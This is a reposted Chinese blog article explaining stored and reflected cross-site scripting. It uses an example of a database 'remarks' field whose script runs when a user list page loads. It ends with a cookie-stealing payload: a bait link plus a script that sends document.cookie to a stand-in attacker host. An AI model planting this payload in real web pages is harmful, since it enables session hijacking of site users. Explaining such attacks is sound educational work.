阅读分享-持久型/存储型XSS漏洞

Posted HelloWorld

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了阅读分享-持久型/存储型XSS漏洞相关的知识,希望对你有一定的参考价值。

昨天有同学问题如何避免存储型XSS攻击呢?

于是查阅了一些资料,做了以下总结:

1、什么是XSS漏洞攻击?

  XSS是跨站脚本攻击(Cross Site Scripting)的简称,之所以叫XSS而不是CSS相比大家都能明白了吧,那就是为了跟层叠样式表(Cascading Style Sheets,CSS)区别。

2、XSS漏洞攻击的原理

  恶意攻击者往web页面中插入恶意html代码,当用户浏览该web页面时,嵌入到该web页面的恶意HTML代码就会被执行,从而达到恶意攻击用户的特殊目的。

  XSS漏洞又分为两类,一类是持久型/存储型XSS,另一类是反射型XSS;

  1)持久型/存储型XSS:嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户;

  2)反射型XSS:反射型XSS是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的;

  本次主要说的是持久型/存储型XSS漏洞攻击

3、下面是一个示例

  1)这个页面时个简单的添加页面

2)保存成功之后,可以去查看下数据库,备注字段中的javascript代码已经存储到数据库中了,如下:

阅读分享-持久型/存储型XSS漏洞

3)在打开用户查询列表的页面(只要页面中包含该用户的备注字段都可以),就会出现如下的信息,代表我们攻击成功了。

阅读分享-持久型/存储型XSS漏洞 总结:

    到这里,可能有人会问,这个能有什么用啊?试想,如果把上面的“备注”字段的值修改成如下的代码,会有什么结果?

<a id='attacker'>点击就送百元现金</a><br>    <script>document.getElementById('attacker').href='http://www.attacker_741.com/receiveCookies.html?'+document.cookie;</script>


以上是关于阅读分享-持久型/存储型XSS漏洞的主要内容,如果未能解决你的问题,请参考以下文章

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

Web 安全漏洞之 XSS 攻击

漏洞分享Discuz存储型xss